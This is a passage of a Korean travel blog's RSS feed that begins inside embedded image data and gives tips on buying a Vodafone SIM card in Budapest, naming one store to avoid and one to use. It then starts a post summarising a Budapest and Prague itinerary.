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&quot; alt=&quot;5a64099e19c0768ae4e94a545c1306ac_MD5.jpg&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;현지 유심칩&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현지에서 유심을 구매해서 사용하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 Vodafone에서 구매하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 피해야할 매점(Vodafone 데악광장점)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기는 구글 지도나 블로그에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후기를 보시면 알겠지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대놓고 배짱장사&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는 사기를 칩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;iframe src=&quot;https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2175.023354961248!2d19.05364758621338!3d47.497426866522886!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x4741dc41c5292ee7%3A0xb4e0e37845e620f9!2sVodafone!5e0!3m2!1sko!2skr!4v1700122686111!5m2!1sko!2skr&quot; width=&quot;600&quot; height=&quot;450&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 추천 지점(뉴욕카페 근처)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숙소에서 가까워서 데악광장점에 갔으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시나 배짱장사를 해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 가까운 지점으로 이동해서 구매함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;갈 땐 몰랐는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가보니 뉴욕 카페 옆이더라...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근처에 OTP 은행도 있으니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카드 안되면 가서 뽑아오시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(제 경험..)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;iframe src=&quot;https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2130.2514830622367!2d19.069504750579785!3d47.49767572916897!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x4741dc6702d342b7%3A0xf78024303afa1886!2sVodafone!5e0!3m2!1sko!2skr!4v1700123187290!5m2!1sko!2skr&quot; width=&quot;600&quot; height=&quot;450&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]</category>
      <category>2023_부다페스트_프라하</category>
      <category>공항가는 법</category>
      <category>기초 회화</category>
      <category>대중교통</category>
      <category>수수료 무료</category>
      <category>유심</category>
      <category>헝가리 부다페스트</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/183</guid>
      <comments>https://chmodi.tistory.com/183#entry183comment</comments>
      <pubDate>Thu, 16 Nov 2023 16:36:14 +0900</pubDate>
    </item>
    <item>
      <title>부다페스트&amp;amp;프라하 일정 요약</title>
      <link>https://chmodi.tistory.com/182</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;헝가리 부다페스트와 체코 프라하&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;여행 일정 및 전체 지출 요약입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;관련 글&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;각 도시별 여행 정리&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://chmodi.tistory.com/183&quot;&gt;2023.11.16 - [여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]] - 헝가리 부다페스트 여행 정리&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://chmodi.tistory.com/184&quot;&gt;2023.11.16 - [여행/부다페스트&amp;amp;프라하[23.10.08~23.10.15]] - 체코 프라하 여행 정리&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt; &amp;nbsp;전체&amp;nbsp;일정&amp;nbsp;Gantt&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일정: 인천 -&amp;gt; 베이징 -&amp;gt; 부다페스트 -&amp;gt; 프라하 -&amp;gt; 상하이 -&amp;gt; 인천.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;856&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpbeBb/btsArwvAib6/oT0e3A7oXetc3UwGjaGkM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpbeBb/btsArwvAib6/oT0e3A7oXetc3UwGjaGkM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpbeBb/btsArwvAib6/oT0e3A7oXetc3UwGjaGkM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpbeBb%2FbtsArwvAib6%2FoT0e3A7oXetc3UwGjaGkM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; 